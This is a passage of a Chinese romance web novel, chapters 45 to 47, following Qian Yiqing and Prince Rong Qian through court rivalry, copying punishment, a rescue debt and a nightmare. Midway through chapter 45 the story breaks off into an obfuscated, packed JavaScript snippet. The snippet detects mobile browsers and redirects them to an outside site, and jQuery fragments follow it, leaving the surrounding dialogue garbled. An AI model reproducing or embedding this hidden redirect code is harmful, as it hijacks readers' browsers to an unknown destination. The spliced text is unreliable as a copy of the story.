看着陆离的侧脸,千裔清微眯着眼,恍惚记起他从前的样子:“陆离,我记得你以前话挺少的,总像个木头桩子似的一脸苦大仇深,怎么现在倒是活泼了不少,还会挖苦人了?” 陆离无奈地掀了掀唇角:“从前殿下总是一副与世无争的样子,被人冷眼嘲讽也不还口,我若再不做出一副难相与的模样,殿下怕是会被欺负的更惨。” 千裔清还挺能理解他的,一对主仆,若两人都随意任人揉捏,那这皇城再无他们的立足之地了。 “为何现在又变了?” “你觉得现在的殿下像是会被欺负的样子吗?”不知道是不是错觉,陆离好像剜了她一眼,看起来很是埋怨。他仰头望着天,深深叹了口气,“这间王府已经够大够冰冷了,主仆二人都没点儿人情味,底下的人还能活吗?” …… 明白了,就是在埋怨她。 45. 优待 用过午膳,千裔清照例打算去书阁抄书,一出院门正撞上慌慌张张赶来的绛珠,听说是容潜回来了。 这里是他家,回家是再平常不过的事,怎么绛珠却一副很是不高兴的样子,为难都写在脸上了。 一旁陪着的绛雪先一步问出千裔清心中疑虑,绛珠摇摇头,又点点头:“殿下是回来了,不过马上就要走了,皎月公主正在更衣,您快着去前头说不定还能见上一面!” 她当是什么了不得的大事,原来是回府接皎月公主出门的。 千裔清听过又好似没听过一样,任由绛雪跟着,继续往楮知台走。 月池因形状似一弯弦月而由此得名,它的位置在整座王府大约中心区域,书房的亭台楼阁就坐落在湖边月牙中心的地方,与千裔清居住的院落及正门的距离几乎是相等的。 看这方向,绛珠她们还以为千裔清是要去见见容潜,只不过她的步子迈的不急不缓,像是散步似的,中途路过花林,路边的蔷薇开得正好,人家还顺带赏了一会儿。 绛雪跟着跟着就觉得不对,她这样子不像是要去见殿下啊,于是委婉提醒:“......您怎么还有时间赏花啊?再不快点殿下就要走了!” “走了就走了,他又不是永远不回来。”不过就是离开一日两日的,大惊小怪。 绛珠实在是看不懂了,这两个人真能算是夫妻吗? 她问道:“......殿下一夜未归,今天一回来就要带皎月公主进宫,问都没问您一句......您不着急?” “我急什么,这不是挺好的。” 容潜不在,至少没人跟她挤着睡了,说真的,千裔清还真希望他能多在宫里待些时日。 啊......还要抄书呢,是该走快点了! - 容潜在宫中和容烨商讨了半夜才歇下,他不在帝位,自然不像容烨那般考虑甚多。 容潜只觉得,夜南有能力,有实力,亦有想法。既然三位皆俱,那不如直接行动,趁此机会铲除了绥夏得了。他不怕危险,也不怕麻烦。 而容烨则想的比较复杂,他身为上玄帝,深受父皇母后的教诲,从小就是知道自己要坐这个位子的,因此他对于帝王之术的学习远比其他兄弟更多。作为一国之君,德才兼备是基础,文韬武略也不可少,甚至把控人心牺牲小我,等等许多,都是他不爱做也一定要做,不会做也一定要做的。 容烨对绥夏国土的野心是朝野皆知的,但坊间百姓只只他是个挑不出半分毛病的仁君、明君。此番绥夏送皎月公主入境,一路打着结秦晋之好换两国太平的名义大张旗鼓进城。他即便不愿,却也想维持他的君子形象,不想因翻脸落人诟病。 人无完人,每个人都有自己的阴暗一面,谁又能真的让人挑不出半分毛病呢? 若是千裔清在这,定要嘲讽他一句虚伪。 只是她不在。 想到千裔清,容潜不由得皱眉,问着抱剑而立候在一旁的陆离:“本王等了多久了?” 陆离捏着指尖算算,答道:“约莫快半个时辰了吧。” 这么长时间,她爬也该爬到他面前了吧!又或是她根本没想过来见他? 握在茶杯上的长指倏然捏紧,容潜一仰头,半杯已然凉透的茶水滑进喉咙,却也没熄灭他隐隐升起的火气。他便把怨气撒在另一个人身上:“皎月公主换个衣裳怎么这么久?她是找裁缝现场做了一套吗?” 他从来不知道女人梳妆打扮起来要这么长时间。 “呃......听院里的人说,是在重新梳洗上妆呢......”陆离解释。 说这话间,他还在观察容潜的神色,以他和殿下相处多年的经验来看,一准是因为后院那位。便又说:“要不......属下去请——” 一记眼刀扫过,陆离立刻住口。 容潜说道:“陆离,你什么时候变得如此多话了。” 陆离抿了抿唇,给自己找了个合理的解释:“属下是想着......千姑娘许是因为早上刚同公主闹了不愉快才不肯过来,她若是知道殿下此番接公主入宫是因为使臣即刻离京,皎月公主以后便少了一重依靠,兴许一高兴就愿意来了。” 容潜冷哼一声,脸色却缓和不少,对他这般说辞似乎也有认同。 正当陆离暗自松一口气的时候,容潜突然又开口道:“你以为你很聪明?” 这一声问话闷闷的、淡淡的,听起来像是不高兴,又像是不信他的话,冷不丁惊起陆离一身冷汗。他赶忙认错:“是属下胡诌的!属下冒失了!” 容潜没说话,屈起手指在桌上敲了一下、又一下。 又敲了一下。 每一下都扣在陆离心弦上,有种随时要跳出嗓子眼的感觉。 直到他不敲了,唇角突然勾出一丝极其细微的弧度,语气很是确定道:“她不来,定是怕自己吃醋被本王看出来。” 她这么心高气傲的,是怕丢了面子罢了! 陆离:“......” 陆离:“殿下......说得对!” 好在皎月公主终于梳妆完毕,陆离顿时有种看见救命恩人的感觉,头一次觉得这皎月公主人还不错。 只见她一身嫣红华服,腰间挂满了珠珞,耳上的金玉夺目的紧,还有她几乎再无空隙容得下旁物的满头珠翠。堪称得上是盛装出席了。 不过是进宫赴会再送使臣离京而已,怎么搞的好像要封后似的。 陆离皱眉,再看一旁的崇安王也挂着掩饰不住的嫌弃。 嫌弃。 太花哨了,而且——不好看。 绥夏人的审美是有待考究了。 皎月公主只以为两人是看呆了,略有些娇羞地问容潜:“好看吗?” 容潜收回目光,起身背过手,很坦诚地回答:“丑。” 是比坦诚还要坦诚的回答。 陆离一惊,抬眼在两人身上来回看了一圈后又低下头,假装什么都没听见的样子,心中却暗自诽腹,殿下太直白了,完全不给人姑娘家面子,这可是马上要进宫见绥夏使臣的,万一公主告状,皇上怎么下得了台! 但陆离不敢说,所以他也一直没敢抬头,继续装作听不到的样子。连带着一路随行的宫中护卫和侍女太监也佯装耳聋。 脸皮再厚的人,面对一群低贱的奴才也接受不了这种羞辱。 皎月公主正要发作,但想起崇安王的脾性并不好,路上的传言说的有鼻子有眼的,正因如此她才在路上第一个排除了容潜这个择婿人员。 她强压下怒火,嘴角抽搐几下,勉强扯出一个怪异的笑来:“那殿下觉得什么样的好看,我再去换一套。” “再换,天都要黑了,到时你的那些叔叔们也不必你送,走都走到绥夏了。”容潜垂眸扫过她尴尬的脸色,毫不掩饰脸上的不满。 陆离几乎要把头垂到地底下去了,他紧盯着自己的鞋尖,一面回想着崇安王的这句揶揄,怎么语气口吻都听得如此熟悉? 皎月公主咬了咬唇:“殿下是嫌我耽误时间了?” 容潜没说话,自顾自背过身出门。 “你——”见自己被无视,皎月公主气的跺脚。 说实话,她很有一种在身后踹他一脚的冲动。另一方面又不禁委屈,为什么半路会突然杀出个崇安王,非但坏了她和璟王的好事,甚至于把她接过来却又不好好待她。 这找谁说理去? 陆离摇摇头,为了不闹得太难看,想想还是得劝一句:“殿下这是心情不好,不是故意对您撒气的。眼下时候也不早了,公主还是尽快进宫去送送贵国使臣吧!” 皎月公主没好气地翻了个白眼,嘴硬道:“本公主知道,殿下这是怕我见不着他们替我着急呢!” 陆离:“......” 陆离:“公主......说得是......” 累了,真的累了。 - 都说书中自有颜如玉,书中自有黄金屋。 千裔清没这种体会,但不得不说,抄书还挺浪费时间的。 直到又抄完一篇,千裔清放下手中湖笔,绛雪眼力见儿极好,捧上她的腕子为她揉着,活动僵硬的骨节。 绛雪劝道:“恕奴婢多嘴,您真的不能再这样下去了!” 千裔清眯着眼享受按摩,余光落在面前宛若狗爬一般的宣纸上的字,自己也觉得难看,干脆彻底闭上眼:“你是说我对容潜的态度?放心吧,若他需要,我也是可以哄一哄的。” “您还知道啊!”绛雪愣了一下,又说,“不管怎么说您现在住在崇安王府,跟殿下低头不见抬头见的,再这样下去,万一哪天殿下真的彻底伤心了,那皎月公主可就踩在咱们头上了!” 千裔清缓缓睁开眼,挑眉反问:“那我问你,你现在摸着自己的心老老实实告诉我,你喜欢容潜吗?如果要你嫁给他你会嫁吗?” “这......”绛雪不知道怎么回答了,她还真没想过这个问题。 千裔清道:“不急,你慢慢想。” 绛雪犹豫了,犹豫就代表了她的答案。 换成旁人或许还好,可是崇安王......她不敢喜欢,她也的确对他没有半分男女之情。 说起来大多数女子恐怕都是不敢喜欢他的。 “看吧,你不喜欢,所以不会嫁给他。”千裔清摇摇头,无奈笑道,“同样的,我不喜欢他,所以也做不到你说的那样。我可以取悦他一时,但如果让我一辈子都去取悦一个不喜欢的人,我做不到。” “所以啊,倒不如一开始就让他习惯了,才不至于更失望。我是为你家殿下好,你明白吗?” 绛雪急着反驳:“可您跟旁人是不一样的,殿下他喜欢您,并不喜欢别人啊!” “他喜欢我,我就要喜欢他吗?照你这么说,当初我在流月坊时也有很多人喜欢我,若要还情,我岂不是到下辈子都还不清的?”许多旧人都知道她的出身,只是碍于容潜无人敢提,其实她自己倒不觉得有什么,人本就是有富有贵,有幸有不幸,从来都不是平等的。时间越久,她也就越不在意这些虚无的东西。 歇够了,千裔清撑起身子,拾起砚台边上还没干透的湖笔,放在研好的浓墨边上浸了片刻,浓郁的墨汁很快染上先前半干的狼毫,原本晦暗的墨色变得更新亮起来。 绛雪又回到一旁乖乖站着,还是忍不住回嘴:“姑娘这话可别在府上说了!奴婢听着也就算了,换做其他人听着学给了殿下,您日子怕是不好过了。” 千裔清不在意道:“无妨,他不会拿我如何的。” 绛雪调笑:“这就是被偏爱者的有恃无恐吗?” 千裔清点点头,这点自信还是有的。若容潜真因这点小事对她失望转而赶出家门,她岂不是要烧高香谢过他的大恩大德? 都是奢望罢了。 容潜要什么,他自己清楚。 她也清楚。 墨汁愈发浓了,在纸上写着也越来越费力,千裔清停笔,见一边摆着的瓷杯也不剩一滴水了:“这块砚台快要干了,你再去添些水来。” “好,那姑娘先歇会儿,奴婢去去就回。” 千裔清随口应了声,手上动作却是不敢停的,她不知道自己写了多久,但应该已经过了很久,因为她眼睛都干涩了。 她抬手按了按酸涩的眼眶,突然想起拇指上还有未干透的蹭上的墨汁,动作顿了一顿,也不知道方才蹭到脸上没有...... 大门轻响,应是绛雪取水回来了,如果沾了墨汁刚好也能擦一下。这丫头是比绛珠稳重麻利一些。 还没来得及多想,门又关上了,脚步声缓缓靠近,沉稳有力。 却明显不是绛雪的。 待抬头看清来人的面容,千裔清捏着笔的手倏的停在半空。 “你怎么来了?” 是容潜。 他把手中的绘竹瓷杯搁在一旁,目光落在她面前的一叠宣纸上,细细欣赏一番她的“杰作”。说实话,这字写的的确是“可爱”了一些,他七岁时的书写水平就已经远超于此了。 倒真是难为她了。 容潜轻笑,隔着书桌问她:“抄了多少了?” 千裔清扫过手边的书:“四十一篇了。” 容潜点点头,绕至她身后,故意一般俯下身将她圈着,细长的手指骨节微动,翻过书本的书封,接着是他略显疑惑的声音:“最后一卷?为何不从头开始抄起?” 懒得找。 千裔清说道:“没找到。” 容潜又问:“怎么不让下人找?” 懒得说。 千裔清想了想,照实回答好像会给自己添麻烦,刚要开口换个理由。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961036|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在等我给你找?” 千裔清一怔,虽然看不到身后男人什么表情,但听他这稍显得意和愉悦的声音,便知他应该是又想多了。 凡遇此景,千裔清一贯的做法就是转移话题,也不管是不是显得生硬:“不是说进宫了,怎么这么快就回来了?” “嗯。”淡淡的语调从鼻间溢出,搭在她肩头的一条胳膊像是紧了紧,却最终只是舍近求远地拿起瓷杯在砚台中添了几滴水,右手自然地拿起墨条一圈一圈研磨。 但这动作似乎不大方便吧?圈着这么大一个人磨墨真的不累吗? 容潜接着又说:“绥夏那边传消息催他们回去,事发突然,皇兄正与礼部商讨细节送使臣离开,我刚好在宫里,便与皇兄多聊了一会儿。” “所以绥夏人马都已经离开坤京了?”千裔清问。 “对。”容潜微顿,“你怎么这么高兴?” 啊?很明显吗? 千裔清愣了一瞬,她自认语气并没太多漏洞,甚至连那丝笑都藏的好好的,容潜怎么看出来的? 绥夏人既然已经离开,那么和亲人选显然不会再有变动,她的确心下放松,所以有些愉快。 只是这要怎么跟他解释?照实说了,无异于引火烧身。 容潜还记得午时陆离提起的事,便问她:“佑王送东西过来了?” 千裔清点头:“嗯,送了三株雪莲上门。” 容潜冷笑:“我看他是真的不想活了!” 说完,他直起身子,强烈的压迫感总算散去,千裔清暗自舒一口气,起身对他说道:“我本来也没打算收的,不过就是怕佑王问起,到时候还请殿下帮忙解释了。” “有什么好解释的,照实说就行。”他就不信佑王有这个胆子跑来兴师问罪,除非他真的活够了。 千裔清摇了摇头:“不行。” “因为要拿这个威胁皎月公主?”容潜想到陆离原封不动转达来的话,看着她笑道,“很好,处事风格倒是越来越像我了。” 那自然还是比不得崇安王您的!威胁人这一领域,第一名他当仁不让。 其实千裔清还想问些别的,例如绥夏使臣既已离京,那么婚期定在何时可商议妥了,仪式如何举行,需要崇安王府如何准备。诸如此类,怎么一点消息也未曾透露过? 一日不定,她总觉得还心有不安。 只是千裔清不敢问,若问了必定要惹容潜生气,为了好奇心给自己添麻烦并不值得。这点分寸她是知道的。 容潜看她目光闪闪烁烁,眉心微微动着,就知她心中又在思索什么烦心事儿,但他现下却是猜不出来。“在想什么?” 千裔清低头看着自己沾了墨汁的指尖轻捻两下,仰着头问他:“我在想......方才手上沾了墨汁,有没有蹭到脸上,殿下帮我看看?” 目光落在她脸上,上面并没有她所说的墨汁,一如从前那般美好、干净,像是什么蛊一样深深吸引着他,再难移开。 容潜愣了片刻,随即勾起唇角笑了笑,心中生出几分别的心思:“是有一块。” 她就知道!既然有墨迹,他还一直不出言提醒,这会儿反而来取笑她。 幼稚。 “在哪儿?”千裔清从袖口拉出一截中衫衣袖来,在脸上胡乱擦了几下,又问,“擦干净了吗?” “没有。”他的语气很是认真,在她脸上盯着,“还在。” 看来要蘸些水才行。 瓷杯呢? 摸索着低头去找,容潜把她拦住了,按着她的肩头让她倚着桌沿,一只手轻抬她的下巴,说道:“你找错地方了,在这里。” 拇指缓缓上移,沿着她侧脸弧线细细描绘,最终停在她侧脸中央的位置。 按了按,又轻刮几下。 像是真的在帮她擦一样。 千裔清渐渐从他迟缓的动作中品出些别的意思来,按捺着推开他手的冲动催促:“好了吗?” “快了。” 快了? 这两个字一出口,千裔清可以确定他是在占她便宜。 “算了,我回去洗洗就好了。”说完,她拨开容潜的手,却反被人一下握住。 容潜靠近她,眼神紧紧勾着她的,轻声问:“昨晚我没在家陪你,你可睡的安稳?” “很安稳。”千裔清说,“既然殿下先提起那我就直说了——” 想起前两日酸疼的骨头,千裔清忍不住嘴角微微一抽,掀起眼帘看着他委婉开口:“殿下以后还是回自己房里去睡吧,我那床太小,咱们两个挤在一起实在是委屈你了。” 容潜难得没有生气,他想了想,竟是点头答应:“好。” 这下轮到千裔清诧异,她想过他不会同意,想过他会很难同意,甚至早就编好了一堆说辞,做好的充足的准备和他交涉。然而都没用上,他答应的如此爽快,一个“好”字让她咬着舌头盯了他一会儿。 “好?”千裔清重复了一遍,确认自己没有听错,“你这是答应了?” 容潜颔首:“你说的不错,的确是委屈我了。” 莫非是他今日心情好,千裔清沉吟片刻,试探着再提要求:“那能不能再求殿下一件事?” 容潜仍是攥着她的手,宽大的掌心把她的小手包裹的严严实实,有一下没一下地在手里揉捏,很是享受地始终挂着笑意。 “什么事还用得着求这个字?” “......关于殿下所说的惩罚......能不能少抄一些?”千裔清为难地扫了一眼桌面上散落的纸张,歪歪扭扭大小不一的字迹看起来张牙舞爪。 “不能。”容潜给了她一个很果断又不容置疑的答案,“不过我可以给你一些优待。” “优待?”莫非是可以找人代笔? 结果还是让她失望了,容潜说道:“宫中琐事已经忙完,往后我会多些时间在家,你抄的时候我可以陪着你。” 千裔清:“......” 这算什么优待,只会让她抄的更慢,延长惩罚时间吧! 这是她听过最离谱的优待。 可惜她又错了,更离谱的是他答应的上一个请求。 容潜的确做到了,他真的没再去千裔清房里和她同睡,因为他直接让人把她的东西全都一道收拾进他卧房,美其名曰:他的床大,不会委屈任何人。 46. 恩人 千裔清从里间出来时,容潜正在好奇地翻她那药匣。 黑色的织锦袍披在他的肩上,那人背对着他坐在桌前,看不见表情,只能瞧见一只手似是撑着侧脸,一只手把玩着什么。 偏头看去,男人的身影挡着一半,桌面上形形色色的瓶子罐子散落一层,逐个被打开又放合上盖子,丢回桌面。 千裔清拨了拨微湿的头发,直接坐在他对面。容潜正把一只红色的圆罐扣紧瓶塞,顺便抬起头问她:“这个是什么药?” 说了他又不懂,千裔清简单答了几个字:“解毒的。” 好在容潜并没追根究底地问,又拿起另一只碧色的细口瓶晃了两下,听起来不似刚才那个罐子,装的是液体。 “这个呢?”他又问,看起来像个好学求问的学子。 千裔清瞥了一眼:“解酒的。” “治外伤的、治头痛的、治风寒的、活血的、暖胃的、养精的——咳,我是说精神的精。” 容潜面上一滞,他原本也没多想的,听她这话才知道这刻意的解释是什么意思,他收回指着瓶瓶罐罐的手指,似笑非笑道:“这么不想听我说话,莫非是在生我的气?” 千裔清对他这一声不吭把她的物件全都转移到自己房里这件事的确是觉得不痛快,然而当她试过容潜房里这池通体暖玉打造的浴池以后,气消了一半,这会儿也没那么大的情绪了。只是方才见他捣弄自己的药匣,还以为这位殿下要做什么手脚故意整她,心中起了几分疑虑。 现在看起来是多余了,他好像只是好奇。 “没有,我是在想你用的是什么香,很特别。” 听到这话,容潜伸手拉着她一缕半干的头发放在鼻尖轻嗅。果不其然,湿润的气息中沾染了和他一样的香味。 不错,就是要这样。 他满意地微微弯起眼尾:“皇兄知道我总是休息不好,所以命人特意调了这月麟香,说是有安神助眠的作用。” 怪不得她每次闻到,都觉得有一种莫名的沉静下来的奇异感觉。 本就是一句敷衍的话,没想到得来的是他正经认真的解释,千裔清点点头:“休息不好要慢慢调理,用香虽然也有助益,但用时还需要斟酌用量,否则只会有害无益。” 容潜则扶着下巴瞧她,唇边的笑意渐渐加深。 千裔清觉察到这目光,忍不住垂下头,把翻出来的药瓶一件件放回盒子,用这动作来回避容潜的灼热视线。 看一会儿,容潜又换了只手继续盯着她:“瞧你这一板一眼说话的样子倒还真像宫里那几个御医老头......不过,你方才是在关心我?” 千裔清斜了他一眼:“殿下多虑,我只是给人看病习惯了。” 容潜当她是害羞:“嘴硬。” “啪”的扣上药匣,这力度让木质的盒子和其中罐子因为颤动而碰撞,发出叮叮当当的响声。 容潜笑了笑,收起继续打趣她的念头,稍显正色道:“那你呢?你跟着官朗州学了这么久的医术,怎么把自己的身体养成这个样子?” 千裔清忍不住回嘴:“你身为王爷不也没好到哪去,宫里那么多御医,连最寻常的失眠都治不好。” “这你放心,寻回你,我便不会再失眠了。倒是你,你那药箱里头这么多药,怎么不见给自己吃些药治治你这体寒犯懒的毛病?”这女人一贯把他的好心当成驴肝肺,容潜也早习惯了,便没因她这三言两语生气。 “你难道没听说过医者难自医这句话?我师傅尚且没能力自救,我又哪敢跟他老人家比。”千裔清扯了扯嘴角,抱着药匣起身,摆明了一副不想继续跟他聊下去的意思。 容潜房中的壁柜不少,千裔清找了个靠里又空旷的把药匣放好,又往里头推了推,放稳妥了。 背对着容潜,千裔清微微侧过头,视线落在他矜贵的背影,那只手臂还支在台面,以至于他的身子是有些倾斜的,但这些丝毫不会影响他的举止气质,他的背影线条看起来十分笔挺,与她见过的、救过的那些人都不一样,完全不一样。 千裔清想起,无论是今日还是他曾经落魄之时,他好像永远是挺直着脊背,只是他总是话少,才让人忽略掉了他隐藏的锋芒。 不过两年,少年模样的人已然成了沉稳内敛的权者,他的张扬意气似乎只是一晃而过,千裔清几乎忘了,他仍是个不及弱冠的少年。 也不知这位少年半是威胁地把她困在府上这些日子打了什么主意,虽是给她个侍妾的由头,但除她自己提起过以外,府上下人们却仿佛并不知情,待她的态度很是微妙。 有点像对即将进门的正妃。 还有...... 千裔清忍不住又瞟了他背影一眼。 她们同住了几日,容潜似乎没有和她行房事的打算,像是在等什么。 ......等等! 她可不是在期待,她只是疑惑! 疑惑罢了。 直到身后传来他起身的动作和衣裳摩擦的声音,千裔清摇摇头抛下这些越想越远的想法,转过身看到容潜正在换衣裳。 床榻距离自己不过几步之遥。鞋尖离那帘半遮的床幔只差一步之遥,她解下外衣,轻拢散落的长发坐在床边:“你要出去?” “嗯。”他应了一声,手上动作却还是很利索。 千裔清挑眉:“这么晚了还要出去?” 莫不是在她这吃瘪,所以要去前院找那皎月公主不好意思说吧? “放心,不是去找别的女人。”说话间,容潜已经系好腰带,弯腰在她鼻尖刮了一下。 “那你这是要去哪?”说完,她才觉得自己好像有点默认自己在担心他出去寻花问柳,又认真补充道,“噢,我就是好奇问问,没有过问殿下行踪的意思。” 对容潜来说,他从来没觉得有什么不能对她说的,只是千裔清向来不问,他便也不多说了。 难得今日她多提了一句,容潜自然开心:“我同重云门主也算是有些交情,此番前去和他做个交易。” 容潜和喻景淮相识千裔清是知晓的,不过据说喻景淮已经卸下门主身份归隐山林了,他口中的“门主”指的是喻景淮,还是...... 眼前晃过一片夜色中的山林,少年坚实的后背、细密的汗水,以及她那句“若有机会,我再报答”。千裔清怔了怔,问:“你说的那个人是喻景淮还是谢子源?” “谢子源。”他答道,话音落下的同时见千裔清神色多了几分温和,心中突然有些不舒服,“你认识他?” 千裔清点头:“是他送我上了山,算起来,他也是我的救命恩人。” 容潜迟疑片刻:“昔日喻景淮同皇兄闹得不愉快,重云门算是少了座靠山,如今换了新门主,在江湖上的地位更是极不稳固,你的这位救命恩人如今正处于水深火热之中,我若出面,算是帮他。” 千裔清疑惑:“可你刚才还说皇上同喻景淮有矛盾,你若代表朝廷出面,他会同意?” “我何时说过要代表朝廷出面?我是崇安王,代表的自然也是崇安王。”他眉宇间闪过一丝傲然,“这还不够?” 崇安王的身份虽比不得圣意,但也算是极为有力的靠山,况且崇安王当日把喻景淮送离皇宫,皇上事后并未追究,至少在众人眼中,他们兄弟二人依旧和睦。 也就是说,崇安王出面很可能也是带了皇上的意思。 这样一想,的确是帮了谢子源大忙。 想明白了这些,千裔清颔首,催促道:“那你还不快点去?” 他本来是打算快点去的,所以一刻也没敢耽误,大半夜的就换上衣服要去见一见谢子源。然而此时见千裔清这副着急的样子,她对谢子源的态度似乎不大一样,心中难免有点吃味。 他突然就不着急了,思量片刻后又坐下了,目光落在千裔清脸上细细探究着:“你方才说他是你的救命恩人,那我帮他,你可会高兴?” 千裔清沉吟:“殿下帮他,我自然会感激殿下。” 郑重又含蓄地表达自己的态度,分寸拿捏的极好。可偏偏又是这声“殿下”惹他不高兴了。容潜自觉烦闷,怎么一到这种时候,她就偏要这么生分的称呼自己,把他所有的好意划分的一清二楚。 他不喜欢这样。 容潜微眯着眼睛:“那我要是不帮他 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上一个让她这么做的还是祝音,但祝音是女子,他虽然厌恶,却也只是厌恶罢了。这个谢子源又是什么人?他未曾关注过,但心中隐隐觉得是个麻烦。 千裔清颇觉得无奈,这人的执拗劲又上来了。“殿下——” “别喊我殿下!”容潜拧眉,对着她摇头道,“别喊我殿下,你这么叫我,我总觉得离你好远。” 她叹气,起身环住他的腰身,把头埋在他的胸口:“我是想告诉你,父母在时虽没教得我太多,却让我记住人生在世以义为先,无论什么时候都要知恩图报,不管是祝音、喻景淮、谢子源还是师傅,他们都对我有再造之恩,我帮他们都是义不容辞的事,你气也好、恼也好,我只能对你说一句——抱歉。” 好一个知恩图报,好一个抱歉。 容潜强压下心中怒火,冷声道:“所以你不肯和我在一起,就是因为我没救过你的命?” 他蓦的掐着千裔清的后颈,迫使她仰头看着自己:“是不是非要我为你死过一回,你才会心甘情愿的跟着我?” 理智告诉自己他说的这是气话,但这话听起来太过刺耳,千裔清还是忍不住蹙起眉头:“殿下慎言。” “怎么,你怕一语成谶,你怕我死?”容潜自嘲地一笑,“你不是应该希望我早点死,好让你重获自由之身才对?” 她是想离开这里,但凭心而论,她希望容潜死心,却从未想过容潜真的会死。 他怎么会死呢?他是崇安王。 千裔清看着他:“你这是气话?不管你信不信,我希望你活着。” “当真?”容潜松了一丝手劲,“你可知道你说这些话会让我觉得你在欲擒故纵,会让我更不想放开你......” 难道她说让他去死他就真的会去死吗?怕是只会更生气吧,这种不要命的话她还是不要说了。 沉了沉心神,她认真道:“我没有想那么多,我只是希望你活着,如果不信,我可以重复百遍、千遍。” “很好。” 他就知道,她一定是喜欢的。 反正即便她说不喜欢,他也从没打算放手。 还好,还好。 还好这男人喜欢听好听话,还是哄得好的。 暗自舒了一口气,千裔清问道:“殿下今夜还去吗?时候不早了,若去的话还是尽早出发,早些回来。” “自然要去,白日找他怕是会多些麻烦,你不必等我,早些休息。”容潜放开手,在她发顶揉了几下。 是什么大事还要避着人?千裔清有些疑惑:“......我能不能多嘴问一句是什么事?” “我无意瞒你,不过现在还不是时候,日后你会知道的。”容潜眸光微闪,避而不答。 千裔清心中陡然生出一丝猜测,总觉得他越这么说,越是和自己有关。 什么事会和自己有关,还需要借重云门的手段来促成? 完全没有头绪啊! 但他现下显然没打算说,再多问也是白费。 千裔清乖乖点头:“好,那我等着那一天。” 47. 噩梦 鬼山上的时节总让人分不清楚是夏还是冬,千裔清只有偶尔想起来了,往另一边的山上眺望一眼。山上的浓雾让人视线之中的一切事物都变得模糊,但总归看得到对面是一片银雪茫茫还是一片郁郁葱葱。 但逢夏日,山上的访客总会少一些,那是因为盛夏时节山上的毒虫最为活跃,登山的难度便高,死在路上的不遑多让。千裔清初见时候还会被吓到,后来见的多了也就习惯了。 这天,官朗州难得去山腰采药半晌儿都没回来,山上来了个陌生人。他看起来身上并无伤口,就连神色都十分正常,不像是来求救的。 千裔清见他半天不说话,就坐在竹凳上擦他的长刀。她想了想:“官先生不在,你若找他恐怕还需要等些时候。” 来人一脸的胡茬,再配上他擦刀的动作,看起来并不像什么善茬。他糙着一口嘶哑的嗓音,干涸的像是几日没进过水一样,掀起他的倒三角眼:“我不找他,我找你。” 正在清洗着乌梢的手微微一顿,千裔清偏过头狐疑地看着他:“你认识我?” 他哈哈一笑,反手把擦干血迹的刀插在地上,擦血的白色雪缎则被他丢在桌上,正落在千裔清眼前。这种雪缎因质地柔软贴身,一般是用来做里衣的,但同样的,它的价格昂贵,千裔清在相府也只是见过寥寥数匹。 这人用它擦刀?也太奢侈了吧。 正想着,那人回她:“我当然认识你!清影姑娘嘛,我是受人之托给你送样东西。” “受谁之托?送什么东西?”知道她是清影的人应该并不多,而且,那座皇城与她交好的人也不会唤她清影。 “受......佑王殿下所托。”他笑道,“你不用这么紧张,我不会拿你怎么样!只是送东西,仅此而已。” 只见他从怀里摸索一阵,掏出一方黑色锦绸,顿时血腥味更甚,千裔清几乎无法分辨那是地上丢着的雪缎之上的血腥味还是眼前这东西。 但直觉告诉她,是面前的这块锦绸中包裹的东西。 不祥的感觉缓缓袭上心头,那方锦绸也被缓缓打开,包裹其中的是一截手指,手指的长度显然是男子,骨节也比寻常人要明显的多,不出意外是个习武之人,尤其是边缘切口处的那颗痣,让她觉得极为眼熟。 那人的笑意逐渐变得狰狞:“姑娘可见过?” 她见过的。 “容潜!” 陡然睁眼,眼前的男人消失不见,取而代之的是青鸾色床幔。 “我在,怎么了?” 一只手倏的握上她,无名指节上赫然也有一颗痣,循着这手的方向看去,容潜正坐在床边一脸关切地看着她。 千裔清再次盯着他的手指看了看,确认自己刚才真的是在做梦。 她摇摇头,推开他的手缓缓起身:“没事,做了个梦。” 容潜怔了怔,笑道:“怎么做个梦还惊出一身汗来?我有这么可怕?” 她记得方才是脱口喊了他的名字,不禁扶额懊恼,怎么会做这么奇怪的梦!可这也不能怪她,那梦实在是太过真实了,那血腥味...... 不对,她已经醒了,怎么还是能闻到血腥味? 千裔清扯上他的手腕把他拉近自己。 果然没错,她对血的味道极敏感,这血腥味一定是他身上的。 容潜捏住她凑在自己身上闻来闻去的小脸:“就算你想同我亲近也要等我先洗了澡再说,这么着急,我怕我待会伺候不好你。” 要不要脸? 千裔清横了他一眼,推开他道:“你是不是受伤了?” 容潜带着笑意摇了摇头:“没有。噢——回来时遇到几个不长眼的匪徒,顺手砍了,许是身上沾了他们的血,我正要去沐浴,就听见你喊我的名字,怎么?你梦到我了?” 是梦到他了。 准是因为睡前提了那死不死的话,又在睡梦中闻到血腥味,否则她也不会做这么离谱的梦。 见她不说话,容潜又追问:“梦到我什么了?” “梦到你死了。”千裔清回答的十分干脆,而后又挑起眼睫看了他一眼,“你真没受伤?” “没有,要不要脱了给你检查?”他的面色如常,还暗含了几分揶揄,千裔清甚至觉得下一刻他就会解了自己的衣裳。 千裔清撤回目光:“不用了。” 兴许是刚才的梦境后劲太大,她竟然一时忘了容潜是什么人,驰骋沙场他尚且不怕,又怎么会被区区几个匪徒伤到。 她偏过头看向窗外,天刚蒙蒙亮。 容潜顺着她目光道:“时候还早,你再睡会儿,我先去把这衣服换了。” “不想睡了。”她揉了揉眼睛,感觉已然睡意全无。 容潜变本加厉:“看你这么担心我,要不要帮我沐浴,顺便尽你的医家本分好好给我检查检查?” “......突然觉得有些头疼,我再躺一下。”说完,千裔清翻身躺下,顺手拉上被子闭上眼,一套动作行云流水般自然又迅速。 她听到身旁的男人低低笑了:“好,那就再躺一下。” 随着容潜的离开,鼻腔内的血腥味散了不少,千裔清闭着眼睛,心中却隐隐觉得哪里不对。 屋子里的月麟香不知什么时候被他点上,许是他也闻不惯血腥味,所以一回来便先点上了。 还有,她记得容潜夜前出门时穿的并不是刚才那件外袍,这件好像更宽大一些。 